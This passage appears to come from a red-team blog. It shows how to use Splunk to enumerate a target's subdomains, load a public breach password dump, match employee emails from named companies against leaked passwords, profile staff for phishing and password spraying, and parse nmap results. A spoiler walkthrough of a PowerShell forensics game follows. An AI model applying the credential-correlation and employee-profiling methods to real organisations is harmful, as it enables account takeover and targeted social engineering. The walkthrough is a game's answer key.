### DomLink domains-> Give me all subdomains <a href="#domlinkdomainsgivemeallsubdomains" id="domlinkdomainsgivemeallsubdomains"></a>

Combining my tool, [DomLink released here](https://github.com/vysec/DomLink), we can take the results from a search and ask Splunk to give us a list of all of the subdomains belonging to the target. Quite easily.

Begin by running the tool, and directing the output to a text file using the command line flags.\
Now that we have a list of domains, in the output file, we can take this and create a new file with a header of `name` and add `*.` to the front of the name using a simple regex replace.\
Place this file and name it Book1.csv (well I did) into `C:\Program Files\Splunk\etc\system\lookups`. Then make a search for:

```
index=main [inputlookup Book1.csv] | table name
```

You can then export these results and put it into whatever tool you want to use.

## Password Dumps <a href="#passworddumps" id="passworddumps"></a>

I took the LeakBase BreachCompilation data and used Outflank's Password Dumps In Elk guide [here](https://outflank.nl/blog/2018/01/23/public-password-dumps-in-elk/) to get my data into a reasonable format before importing it into Splunk. Running the script does a great job at getting the dump into a space separated file format:

![](/files/-LPA4DFqcaaTVPm4_iUe)

I modified it to output to disk instead of push directly into ELK/Splunk.\
At this point, we're pretty much good to go. Splunk does not take space separated files so I had to modify the script Outflank provide to make it into a CSV format ready for importing.\
Do a `splunk add oneshot input.csv -index passwords -sourcetype csv -hostname passwords -auth "admin:changeme"` and we're good to go!

### Let's see what the most used passwords are! <a href="#letsseewhatthemostusedpasswordsare" id="letsseewhatthemostusedpasswordsare"></a>

```
index=passwords 
|  stats count by password 
|  sort 100 -count
```

\
If you're interested in base words, you can use fuzzy matching (match on `password`):

![](/files/-LPA4UKDVKDMLTedcqnN)

```
index=passwords
| table password 
| fuzzy wordlist="password" type="simple" compare_field="password" output_prefix="fuzz"
| where fuzzmax_match_ratio >= 67
| stats count by password
| sort 100 -count
```

Top passwords used by `@facebook.com` emails:

The more interesting piece is the ability to easily cross check passwords with employee OSINT e-mails. Sure you can do this in grep too.

### DomLink domains -> Give me all passwords for all domains <a href="#domlinkdomainsgivemeallpasswordsforalldomains" id="domlinkdomainsgivemeallpasswordsforalldomains"></a>

After running DomLink (as mentioned above in the post), we can go ahead and use it as an `inputlookup`. Instead, we will use `*@domain.com` instead of `*.domain.com`, and set a header field of `email.`\
Run a query:

```
index=passwords [inputlookup uber.csv] 
|  table email, password
```

Then I get a fantastic output in table format, that I can even export as CSV.\
That's pretty cool, at least I think so.

## Employee OSINT <a href="#employeeosint" id="employeeosint"></a>

Profiling an organisation's employees is important when performing targeted phishing attacks or password spraying across external infrastructure where you need a list of usernames to begin. [LinkedInt](https://vincentyiu.co.uk/reconnaissance-using-linkedint/) was developed for this purpose. I wanted a tool that could work reliably and give me a list of employees for a target organisation. This isn't so useful for just one or two particular data sets for several companies. It would probably be more useful if you were to automate and gather employee data for Alexa Top 1 million websites and Fortune 500 companies for example. Sure, this could all be automated.

For the sake of this section, I'm going to demonstrate importing data from one unreleased (will probably release at HITB GSEC) tool to profile employees. This would also work with [LinkedInt](https://vincentyiu.co.uk/reconnaissance-using-linkedint/). Simply import the data as a CSV file as previously shown in the above sections.\
We can use Splunk to search for employees with a specific surname, name, or location:\
We can even go ahead and search for job positions, and see how many people are in a certain role at the company:\
Here we can see that the majority of people are delivery personnel as this company is the equivalent of Deliveroo in China.\
Heck, with a bit of magic you can even graph it up to get a view of the distribution of roles:\
Given that I only had data for around 5000 employees, this basically gives a decent idea of the distribution of personnel at the target organisation before you go ahead and perform any social engineering to understand the following types of questions:

* Should I social engineer as an employee of the organisation?
* What title should I have?
* What's my role?
* Where am I located? (yes, if there's a high distribution of X role at Y location)
* What percentage of people are in this role?

In some companies, if there's a large percentage (almost 10%) who are delivery men, they probably don't have access or the level of trust from the general population of employees. So making these sort of choices matters.

Last thing, I wonder how accurate my OSINT vs. actual distributions of employees are?

### Combining Employee OSINT with Password Dumps <a href="#combiningemployeeosintwithpassworddumps" id="combiningemployeeosintwithpassworddumps"></a>

It's trivial to combine Employee OSINT'd emails with password dumps to look for passwords:

```
index=passwords [search index=eleme 
| eval email=$Email$ 
| table email]
```

Pretty nice, at least I think so. Sure, you can do this with grep too, but this is an alternative way to easily import a new CSV file and almost instantly have a matched up password list that you can export as a CSV or table.

## Nmap Scans <a href="#nmapscans" id="nmapscans"></a>

Upload the `.gnmap` file to Splunk, set timestamps to none.\
You can then run the following example query to begin formatting the data and searching it in a nice manner within Splunk:\
[1](https://answers.splunk.com/answers/327620/how-to-parse-grepable-nmap-output.html)

```
source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports | rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)" 
| rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
| rex field=_raw "OS:\s(?<os>\w+)"
| eval os = if(isnull(os),"unknown",os)
| eval mv=mvzip(port, status) 
| eval mv=mvzip(mv, proto) 
| eval mv=mvzip(mv, desc) 
| mvexpand mv 
| makemv mv delim="," 
| eval ports=mvindex(mv, 0) 
| eval status=mvindex(mv, 1)
| eval proto=mvindex(mv, 2)
| eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
| table dest_ip ports status proto desc os
| sort dest_ip
```

This would work pretty well for sorting out scans if you have a large set of scans to parse through. For example, you can expand the query to map all server locations with TCP port 443 open using:

```
source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports 
| rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)" 
| rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
| rex field=_raw "OS:\s(?<os>\w+)"
| eval os = if(isnull(os),"unknown",os)
| eval mv=mvzip(port, status) 
| eval mv=mvzip(mv, proto) 
| eval mv=mvzip(mv, desc) 
| mvexpand mv 
| makemv mv delim="," 
| eval ports=mvindex(mv, 0) 
| eval status=mvindex(mv, 1)
| eval proto=mvindex(mv, 2)
| eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
| table dest_ip ports status proto desc os
| sort dest_ip
| table dest_ip,ports 
| search ports=443 
| iplocation dest_ip 
| geostats count by City
```

\[1] Reference: [How to parse Nmap in Splunk](https://answers.splunk.com/answers/327620/how-to-parse-grepable-nmap-output.html)

## Conclusion <a href="#conclusion" id="conclusion"></a>

Data manipulation and analytics plays a relevant role in Offensive Cyber Security Operations. Much like Password Cracking being of importance and hence why we purchase 32-GPU cracking rigs, this is yet another good to have system that could help to make your operations more streamlined and efficient.


# Misc


# Under the wire: Trebek — Walkthrough

Recommended VPS Providers:

* Low commitment VPS with many locations: <https://www.vultr.com/?ref=7348591>&#x20;
* Cheap VPS for long term use: <https://my.racknerd.com/aff.php?aff=4342>
* Special network / bandwidth connectivity: <https://bandwagonhost.com/aff.php?aff=67638>
* Alternative: <https://www.arkecx.com/aff.php?aff=188>

Trebek, by Under the wire can be found at underthewire.tech

#### !!! WARNING: Spoilers !!! <a href="#warningspoilers" id="warningspoilers"></a>

#### Trebek 1 -> 2 <a href="#trebek12" id="trebek12"></a>

```
Get-WinEvent -Path .\Security.evtx -Verbose | Where-Object {$_.Id -eq 4699} | Select -ExpandProperty message
```

Read the value from the or use findstr Command

#### Trebek 2-> 3 <a href="#trebek23" id="trebek23"></a>

```
sc.exe qc C-3PO
```

#### Trebek 3-> 4 <a href="#trebek34" id="trebek34"></a>

```
Get-WinEvent -path .\Security.evtx | where {$_.id -eq 4624 -and $_.message -match “Account Name:\s+Yoda”} | select -expandproperty message
```

#### Trebek 4-> 5 <a href="#trebek45" id="trebek45"></a>

```
dir C:\windows\prefetch\MSACCESS*
```

#### Trebek 5-> 6 <a href="#trebek56" id="trebek56"></a>

```
get-childitem -path “HKLM:\Software\Microsoft\Windows\CurrentVersion\”
```

Read the Run key value

#### Trebek 6-> 7 <a href="#trebek67" id="trebek67"></a>

```
cd C:\Program Files (x86)\Adobe

Get-ChildItem *.dll -Recurse | group Extension -NoElement
```

#### Trebek 7 -> 8 <a href="#trebek78" id="trebek78"></a>

```
Get-ChildItem -Path “HKLM:\Software\Microsoft\Windows NT\Curr entVersion\Image File Execution Options”
```

#### Trebek 8 -> 9 <a href="#trebek89" id="trebek89"></a>

```
get-content -encoding Byte -totalcount 8 -path .\Clone_Trooper_ data.pdf
```

#### Trebek 9 -> 10 <a href="#trebek910" id="trebek910"></a>

```
get-WmiObject -class Win32_Share
```

#### Trebek 10 -> 11 <a href="#trebek1011" id="trebek1011"></a>

```
get-winevent -path .\Security.evtx | Where {$_.id -eq 4722} | Select -ExpandProperty message
```

#### Trebek 11 -> 12 <a href="#trebek1112" id="trebek1112"></a>

```
get-winevent -path .\Security.evtx | Where {$_.id -eq 4720} | Select -ExpandProperty message
```

#### Trebek 12 -> 13 <a href="#trebek1213" id="trebek1213"></a>

```
get-winevent -path .\Security.evtx | Where {$_.id -eq 4720} | Select -ExpandProperty message
```

#### Trebek 13 -> 14 <a href="#trebek1314" id="trebek1314"></a>

```
get-aduser -Filter * -Properties City | Select -Property Nam e,City | Select -ExpandProperty City
```

#### Trebek 14 -> 15 <a href="#trebek1415" id="trebek1415"></a>

```
get-aduser -Filter * -Properties City | Select -Property Nam e,City | Select -ExpandProperty City

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“blahblah”))
```

#### Conclusion <a href="#conclusion" id="conclusion"></a>

Special thanks to Fernando Tomlinson @Wired\_Pulse for creation of this game.


